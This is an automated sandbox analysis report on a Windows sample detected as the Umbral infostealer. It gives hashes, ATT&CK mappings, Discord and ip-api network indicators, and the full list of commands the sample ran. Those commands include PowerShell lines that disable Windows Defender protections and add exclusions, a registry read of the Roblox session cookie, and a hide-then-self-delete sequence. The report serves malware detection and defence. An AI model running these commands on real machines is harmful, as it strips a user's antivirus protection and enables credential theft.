umbral | fb0e0f437401fbdf3802b3399fd3705100db1c5859680b2240a1f794d48997d7

Analysis

max time kernel
12s
max time network
13s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 03:28

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General

Target

boosttool1.exe
Size

411KB
MD5

3744fcd13385f8698aefbd25458b555f
SHA1

3ad84176dd5b9a3196fa278be1e8e5ef508ddd21
SHA256

fb0e0f437401fbdf3802b3399fd3705100db1c5859680b2240a1f794d48997d7
SHA512

16a75080102d960f09b904037ee16db0c5bcfa16e551c1450e03bf12bac4908d0516ded36158bab3a165894529144705d69647aebb716882b3e5b1946b3a0a0c
SSDEEP

12288:soZtL+EP8huEPecjfUB1gevPeg/x4s5dMk:kI8wEPecjfUB1gevPegPMk

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/5720-1-0x000001DD7C030000-0x000001DD7C09C000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1652	powershell.exe
4992	powershell.exe
5856	powershell.exe
4640	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	boosttool1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	discord.com
26	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5908	cmd.exe
1616	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5260	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1616	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5720	boosttool1.exe
1652	powershell.exe
1652	powershell.exe
4640	powershell.exe
4640	powershell.exe
4992	powershell.exe
4992	powershell.exe
3208	powershell.exe
3208	powershell.exe
5856	powershell.exe
5856	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5720	boosttool1.exe
Token: SeIncreaseQuotaPrivilege	5624	wmic.exe
Token: SeSecurityPrivilege	5624	wmic.exe
Token: SeTakeOwnershipPrivilege	5624	wmic.exe
Token: SeLoadDriverPrivilege	5624	wmic.exe
Token: SeSystemProfilePrivilege	5624	wmic.exe
Token: SeSystemtimePrivilege	5624	wmic.exe
Token: SeProfSingleProcessPrivilege	5624	wmic.exe
Token: SeIncBasePriorityPrivilege	5624	wmic.exe
Token: SeCreatePagefilePrivilege	5624	wmic.exe
Token: SeBackupPrivilege	5624	wmic.exe
Token: SeRestorePrivilege	5624	wmic.exe
Token: SeShutdownPrivilege	5624	wmic.exe
Token: SeDebugPrivilege	5624	wmic.exe
Token: SeSystemEnvironmentPrivilege	5624	wmic.exe
Token: SeRemoteShutdownPrivilege	5624	wmic.exe
Token: SeUndockPrivilege	5624	wmic.exe
Token: SeManageVolumePrivilege	5624	wmic.exe
Token: 33	5624	wmic.exe
Token: 34	5624	wmic.exe
Token: 35	5624	wmic.exe
Token: 36	5624	wmic.exe
Token: SeIncreaseQuotaPrivilege	5624	wmic.exe
Token: SeSecurityPrivilege	5624	wmic.exe
Token: SeTakeOwnershipPrivilege	5624	wmic.exe
Token: SeLoadDriverPrivilege	5624	wmic.exe
Token: SeSystemProfilePrivilege	5624	wmic.exe
Token: SeSystemtimePrivilege	5624	wmic.exe
Token: SeProfSingleProcessPrivilege	5624	wmic.exe
Token: SeIncBasePriorityPrivilege	5624	wmic.exe
Token: SeCreatePagefilePrivilege	5624	wmic.exe
Token: SeBackupPrivilege	5624	wmic.exe
Token: SeRestorePrivilege	5624	wmic.exe
Token: SeShutdownPrivilege	5624	wmic.exe
Token: SeDebugPrivilege	5624	wmic.exe
Token: SeSystemEnvironmentPrivilege	5624	wmic.exe
Token: SeRemoteShutdownPrivilege	5624	wmic.exe
Token: SeUndockPrivilege	5624	wmic.exe
Token: SeManageVolumePrivilege	5624	wmic.exe
Token: 33	5624	wmic.exe
Token: 34	5624	wmic.exe
Token: 35	5624	wmic.exe
Token: 36	5624	wmic.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeIncreaseQuotaPrivilege	4264	wmic.exe
Token: SeSecurityPrivilege	4264	wmic.exe
Token: SeTakeOwnershipPrivilege	4264	wmic.exe
Token: SeLoadDriverPrivilege	4264	wmic.exe
Token: SeSystemProfilePrivilege	4264	wmic.exe
Token: SeSystemtimePrivilege	4264	wmic.exe
Token: SeProfSingleProcessPrivilege	4264	wmic.exe
Token: SeIncBasePriorityPrivilege	4264	wmic.exe
Token: SeCreatePagefilePrivilege	4264	wmic.exe
Token: SeBackupPrivilege	4264	wmic.exe
Token: SeRestorePrivilege	4264	wmic.exe
Token: SeShutdownPrivilege	4264	wmic.exe
Token: SeDebugPrivilege	4264	wmic.exe
Token: SeSystemEnvironmentPrivilege	4264	wmic.exe
Token: SeRemoteShutdownPrivilege	4264	wmic.exe
Token: SeUndockPrivilege	4264	wmic.exe
Token: SeManageVolumePrivilege	4264	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 5720 wrote to memory of 5624	5720	boosttool1.exe	85
PID 5720 wrote to memory of 5624	5720	boosttool1.exe	85
PID 5720 wrote to memory of 792	5720	boosttool1.exe	90
PID 5720 wrote to memory of 792	5720	boosttool1.exe	90
PID 5720 wrote to memory of 1652	5720	boosttool1.exe	92
PID 5720 wrote to memory of 1652	5720	boosttool1.exe	92
PID 5720 wrote to memory of 4640	5720	boosttool1.exe	94
PID 5720 wrote to memory of 4640	5720	boosttool1.exe	94
PID 5720 wrote to memory of 4992	5720	boosttool1.exe	99
PID 5720 wrote to memory of 4992	5720	boosttool1.exe	99
PID 5720 wrote to memory of 3208	5720	boosttool1.exe	101
PID 5720 wrote to memory of 3208	5720	boosttool1.exe	101
PID 5720 wrote to memory of 4264	5720	boosttool1.exe	104
PID 5720 wrote to memory of 4264	5720	boosttool1.exe	104
PID 5720 wrote to memory of 5956	5720	boosttool1.exe	106
PID 5720 wrote to memory of 5956	5720	boosttool1.exe	106
PID 5720 wrote to memory of 1960	5720	boosttool1.exe	108
PID 5720 wrote to memory of 1960	5720	boosttool1.exe	108
PID 5720 wrote to memory of 5856	5720	boosttool1.exe	110
PID 5720 wrote to memory of 5856	5720	boosttool1.exe	110
PID 5720 wrote to memory of 5260	5720	boosttool1.exe	112
PID 5720 wrote to memory of 5260	5720	boosttool1.exe	112
PID 5720 wrote to memory of 5908	5720	boosttool1.exe	115
PID 5720 wrote to memory of 5908	5720	boosttool1.exe	115
PID 5908 wrote to memory of 1616	5908	cmd.exe	117
PID 5908 wrote to memory of 1616	5908	cmd.exe	117

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
792	attrib.exe

C:\Users\Admin\AppData\Local\Temp\boosttool1.exe
"C:\Users\Admin\AppData\Local\Temp\boosttool1.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5720
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5624
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\boosttool1.exe"
  2⤵
  - Views/modifies file attributes
  PID:792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\boosttool1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3208
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4264
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:5956
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\boosttool1.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:5908
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
555e68af1b8e33f84346bf2335e6191a

SHA1
fa078ed3a608f05ae2dd2db8ed52d6bafe8d510e

SHA256
91a76a2c6c73116293fb7e5bfb12b00ef8128a04fbbb44153f4fd63794b2b8ae

SHA512
6f3d5be098271b844d0cbd21d902e68ce80f0bcfa67e3fb507d11bacf15227d3e66397fec2691d7f3333194d4d2067ea416bcbb1d9739f661db3bab0259af44e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnc32kmo.wbp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1652-3-0x00007FFC79640000-0x00007FFC7A101000-memory.dmp

Filesize
10.8MB

Download
memory/1652-4-0x00007FFC79640000-0x00007FFC7A101000-memory.dmp

Filesize
10.8MB

Download
memory/1652-15-0x00007FFC79640000-0x00007FFC7A101000-memory.dmp

Filesize
10.8MB

Download
memory/1652-14-0x000001C724B00000-0x000001C724B22000-memory.dmp

Filesize
136KB

Download
memory/1652-18-0x00007FFC79640000-0x00007FFC7A101000-memory.dmp

Filesize
10.8MB

Download
memory/4640-31-0x00000291EAD50000-0x00000291EAF6C000-memory.dmp

Filesize
2.1MB

Download
memory/5720-34-0x000001DD7E800000-0x000001DD7E876000-memory.dmp

Filesize
472KB

Download
memory/5720-35-0x000001DD7DE60000-0x000001DD7DEB0000-memory.dmp

Filesize
320KB

Download
memory/5720-36-0x000001DD7DED0000-0x000001DD7DEEE000-memory.dmp

Filesize
120KB

Download
memory/5720-0-0x00007FFC79643000-0x00007FFC79645000-memory.dmp

Filesize
8KB

Download
memory/5720-1-0x000001DD7C030000-0x000001DD7C09C000-memory.dmp

Filesize
432KB

Download
memory/5720-72-0x000001DD7DE10000-0x000001DD7DE1A000-memory.dmp

Filesize
40KB

Download
memory/5720-73-0x000001DD7DE40000-0x000001DD7DE52000-memory.dmp

Filesize
72KB

Download
memory/5720-2-0x00007FFC79640000-0x00007FFC7A101000-memory.dmp

Filesize
10.8MB

Download
memory/5720-91-0x00007FFC79640000-0x00007FFC7A101000-memory.dmp

Filesize
10.8MB

Download